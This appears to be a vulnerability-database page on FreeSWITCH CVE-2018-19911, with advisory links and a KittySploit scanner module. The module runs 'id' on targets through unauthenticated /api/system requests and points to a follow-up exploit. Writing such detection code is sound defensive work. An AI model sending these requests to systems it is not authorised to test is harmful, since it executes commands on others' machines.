FreeSWITCH - /api/system RCE Detection (CVE-2018-19911)
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| CVE-2018-19911 | 6 Dec 201818:00 | – | cve | |
| CVE-2018-19911 | 6 Dec 201818:00 | – | cvelist | |
| FreeSWITCH - /api/system Command Execution (CVE-2018-19911) | 10 Aug 202606:19 | – | kittysploit | |
| CVE-2018-19911 | 6 Dec 201818:29 | – | nvd | |
| FreeSWITCH RCE Vulnerability | 6 Dec 201900:00 | – | openvas | |
| Cross site request forgery (csrf) | 6 Dec 201818:29 | – | prion | |
| PT-2018-15159 | 6 Dec 201800:00 | – | ptsecurity | |
| CVE-2018-19911: Improper Neutralization of Special Elements used in a Command | 6 Dec 201800:00 | – | rapid7 | |
| CVE-2018-19911 | 22 May 202512:57 | – | redhatcve |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""FreeSWITCH unauthenticated /api/system command execution (CVE-2018-19911)."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'FreeSWITCH - /api/system RCE Detection (CVE-2018-19911)',
'description': (
'Detects CVE-2018-19911 by requesting /api/system/?id (and related paths) and '
'looking for uid= in the response.'
),
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': [
'web', 'scanner', 'cve', 'cve2018', 'freeswitch', 'rce', 'unauth', 'vuln',
],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [
'exploits/linux/http/freeswitch_cve_2018_19911_rce',
],
},
},
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2018-19911'],
'cve': 'CVE-2018-19911',
}
base_path = OptString('', 'Optional FreeSWITCH HTTP base path', required=False)
def _prefix(self) -> str:
base = str(self.base_path or '').strip()
if not base or base == '/':
return ''
if not base.startswith('/'):
base = '/' + base
return base.rstrip('/')
def run(self):
for api in ('/api/system', '/txtapi/system'):
path = f'{self._prefix()}{api}/?id'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if r and re.search(r'uid=\d+', r.text or ''):
self.set_info(
severity='critical',
reason='FreeSWITCH /api/system RCE (CVE-2018-19911)',
path=path,
)
return True
return False
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10 Aug 2026 06:19Current
7.3High risk
Vulners AI Score7.3
CVSS 37.5
CVSS 27.6
EPSS0.02696